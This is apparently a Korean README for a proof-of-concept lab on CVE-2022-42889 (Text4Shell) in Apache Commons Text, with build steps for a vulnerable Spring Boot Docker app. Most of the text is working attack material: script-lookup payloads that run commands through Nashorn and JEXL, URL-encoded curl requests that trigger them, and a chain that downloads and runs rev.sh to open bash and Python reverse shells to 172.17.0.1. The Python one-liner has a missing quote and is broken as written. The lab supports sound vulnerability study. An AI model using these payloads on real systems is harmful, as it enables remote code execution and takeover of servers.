
CVE-2022-42889 일명 Text4Shell 연구 및 PoC
최근 발견된 Apache Commons Text의 취약점에 대한 PoC (@pwntester 제공):
https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/에서 언급된 바와 같이:
취약점은 StringSubstitutor 인터폴레이터 객체에 존재합니다. 인터폴레이터는 StringSubstitutor.createInterpolator() 메서드로 생성되며, StringLookupFactory에 정의된 대로 문자열 조회를 허용합니다. 이는 “${prefix:name}” 형식의 문자열을 전달하여 악용될 수 있으며, prefix는 앞서 언급한 조회 방식입니다. “script”, “dns” 또는 “url” 조회를 사용하면 조작된 문자열이 인터폴레이터 객체에 전달될 때 임의의 스크립트를 실행할 수 있습니다.
영향을 받는 Apache Commons Text 버전은 1.5부터 1.9까지입니다. 버전 1.10에서 패치되었습니다.
원격으로 악용하려면 공격자가 제어하는 입력이 StringSubstitutor 인터폴레이션의 입력으로 사용되어야 합니다. 특히 StringSubstitutor.replace() 또는 StringSubstitutor.replaceIn() 메서드에서 사용됩니다.
JDK 15부터 Nashorn JavaScript Engine이 제거되었습니다: https://openjdk.org/jeps/372. 그러나 JEXL과 같은 타사 종속성이 포함된 경우 Apache Commons Text에서 RCE가 발생할 수 있습니다 (https://twitter.com/pwntester/status/1582321752566161409).
RCE를 얻기 위해 악용될 수 있습니다.
Nashorn 엔진:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
JEXL 타사 라이브러리 사용 시:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
DNS 조회로 이어질 수 있습니다:
${dns:address|commons.apache.org}
지정된 URL에 연결하여 콘텐츠를 가져오려고 시도합니다:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
https://start.spring.io/ 기반 템플릿
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
언급된 다양한 공격 벡터를 테스트하기 위한 여러 엔드포인트가 제공됩니다.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Nashorn 사용:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

JEXL 사용:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


간단하게 하기 위해 netcat 리스너용 기본 Docker 인터페이스를 사용합니다. 테스트해본 결과, bash와 python 리버스 셸이 잘 동작하는 페이로드들을 찾았습니다:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
여기서 rev.sh는 다음과 같은 내용으로 제공됩니다:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

